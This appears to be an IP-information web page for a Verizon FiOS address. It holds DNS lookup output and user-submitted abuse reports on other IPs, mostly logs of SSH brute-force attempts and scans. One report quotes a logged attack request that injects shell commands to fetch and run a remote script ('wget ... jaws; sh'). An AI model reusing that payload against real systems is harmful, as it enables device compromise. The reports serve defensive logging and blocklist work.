70.105.173.30 - IPInfo

Basic Info

City: unknown

Region: unknown

Country: United States of America (the)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
70.105.173.75	attackspambots	Mar 20 00:49:25 vpn sshd[6303]: Invalid user smbuser from 70.105.173.75 Mar 20 00:49:25 vpn sshd[6303]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.105.173.75 Mar 20 00:49:27 vpn sshd[6303]: Failed password for invalid user smbuser from 70.105.173.75 port 53556 ssh2 Mar 20 00:50:42 vpn sshd[6306]: Invalid user programmer from 70.105.173.75 Mar 20 00:50:42 vpn sshd[6306]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.105.173.75	2020-01-05 16:18:49

Type

Details

Datetime

70.105.173.75

attackspambots

Mar 20 00:49:25 vpn sshd[6303]: Invalid user smbuser from 70.105.173.75
Mar 20 00:49:25 vpn sshd[6303]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.105.173.75
Mar 20 00:49:27 vpn sshd[6303]: Failed password for invalid user smbuser from 70.105.173.75 port 53556 ssh2
Mar 20 00:50:42 vpn sshd[6306]: Invalid user programmer from 70.105.173.75
Mar 20 00:50:42 vpn sshd[6306]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.105.173.75

2020-01-05 16:18:49

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 70.105.173.30
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16338
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;70.105.173.30.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025021400 1800 900 604800 86400

;; Query time: 13 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 14 21:56:47 CST 2025
;; MSG SIZE  rcvd: 106

Host info

30.173.105.70.in-addr.arpa domain name pointer static-70-105-173-30.nwrknj.fios.verizon.net.

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
30.173.105.70.in-addr.arpa	name = static-70-105-173-30.nwrknj.fios.verizon.net.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
117.117.165.131	attackspambots	Feb 6 05:42:18 hpm sshd\[11040\]: Invalid user hnr from 117.117.165.131 Feb 6 05:42:18 hpm sshd\[11040\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.117.165.131 Feb 6 05:42:20 hpm sshd\[11040\]: Failed password for invalid user hnr from 117.117.165.131 port 48921 ssh2 Feb 6 05:46:02 hpm sshd\[11473\]: Invalid user fzq from 117.117.165.131 Feb 6 05:46:02 hpm sshd\[11473\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.117.165.131	2020-02-07 03:14:56
148.70.32.179	attackbotsspam	$f2bV_matches	2020-02-07 03:35:33
59.36.143.162	attackspam	Feb 6 09:43:21 mockhub sshd[16233]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.36.143.162 Feb 6 09:43:23 mockhub sshd[16233]: Failed password for invalid user vyy from 59.36.143.162 port 33582 ssh2 ...	2020-02-07 03:17:37
91.232.96.7	attack	Feb 6 14:40:06 grey postfix/smtpd\[3848\]: NOQUEUE: reject: RCPT from greet.msaysha.com\[91.232.96.7\]: 554 5.7.1 Service unavailable\; Client host \[91.232.96.7\] blocked using truncate.gbudb.net\; http://www.gbudb.com/truncate/ \[91.232.96.7\]\; from=\ to=\ proto=ESMTP helo=\ ...	2020-02-07 03:40:18
61.149.194.91	attack	Feb 6 14:40:08 vmd17057 sshd\[26769\]: Invalid user zzj from 61.149.194.91 port 56160 Feb 6 14:40:08 vmd17057 sshd\[26769\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.149.194.91 Feb 6 14:40:10 vmd17057 sshd\[26769\]: Failed password for invalid user zzj from 61.149.194.91 port 56160 ssh2 ...	2020-02-07 03:37:32
140.143.204.209	attack	Feb 6 18:12:15 vmd17057 sshd\[10203\]: Invalid user xmb from 140.143.204.209 port 33582 Feb 6 18:12:15 vmd17057 sshd\[10203\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.143.204.209 Feb 6 18:12:17 vmd17057 sshd\[10203\]: Failed password for invalid user xmb from 140.143.204.209 port 33582 ssh2 ...	2020-02-07 03:11:17
125.213.216.180	attackspambots	Unauthorized connection attempt from IP address 125.213.216.180 on Port 445(SMB)	2020-02-07 03:34:12
80.82.70.198	attack	Portscan or hack attempt detected by psad/fwsnort	2020-02-07 03:18:58
14.174.62.104	attack	Lines containing failures of 14.174.62.104 Feb 6 05:39:03 Tosca sshd[20430]: Did not receive identification string from 14.174.62.104 port 58415 Feb 6 05:39:05 Tosca sshd[20447]: User r.r from 14.174.62.104 not allowed because none of user's groups are listed in AllowGroups Feb 6 05:39:05 Tosca sshd[20447]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.174.62.104 user=r.r Feb 6 05:39:07 Tosca sshd[20447]: Failed password for invalid user r.r from 14.174.62.104 port 59007 ssh2 ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=14.174.62.104	2020-02-07 03:20:35
218.94.54.84	attack	$f2bV_matches	2020-02-07 03:08:07
197.50.94.12	attackbotsspam	[05/Feb/2020:06:55:20 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:24 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:26 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" [05/Feb/2020:06:55:30 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world"	2020-02-07 03:14:03
5.104.110.181	attackspam	Feb616:41:46server6sshd[26874]:refusedconnectfrom5.104.110.181$5.104.110.181$Feb616:41:46server6sshd[26875]:refusedconnectfrom5.104.110.181$5.104.110.181$Feb616:41:46server6sshd[26876]:refusedconnectfrom5.104.110.181$5.104.110.181$Feb616:41:46server6sshd[26877]:refusedconnectfrom5.104.110.181$5.104.110.181$Feb616:42:32server6sshd[26930]:refusedconnectfrom5.104.110.181$5.104.110.181$	2020-02-07 03:09:59
103.21.117.247	attack	Feb 6 16:34:20 server sshd\[2432\]: Invalid user aye from 103.21.117.247 Feb 6 16:34:20 server sshd\[2432\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.21.117.247 Feb 6 16:34:22 server sshd\[2432\]: Failed password for invalid user aye from 103.21.117.247 port 33800 ssh2 Feb 6 16:39:54 server sshd\[3363\]: Invalid user ljs from 103.21.117.247 Feb 6 16:39:54 server sshd\[3363\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.21.117.247 ...	2020-02-07 03:49:12
187.85.253.175	attackbots	187.85.253.175 - - \[06/Feb/2020:14:40:40 +0100\] "POST /HNAP1/ HTTP/1.0" 301 547 "-" "-"	2020-02-07 03:10:21
5.189.239.188	attack	02/06/2020-11:15:52.255179 5.189.239.188 Protocol: 6 ET SCAN NMAP -sS window 1024	2020-02-07 03:44:37

Recently Reported IPs

214.64.188.167	161.242.210.110	145.215.70.195	18.138.243.112
38.155.218.205	36.100.102.27	150.242.27.205	88.23.132.98
123.94.233.34	146.96.4.163	60.174.112.56	176.56.133.47
60.213.155.24	226.84.130.214	159.40.252.64	126.240.104.137
255.237.47.137	94.118.108.17	8.105.161.135	41.8.175.85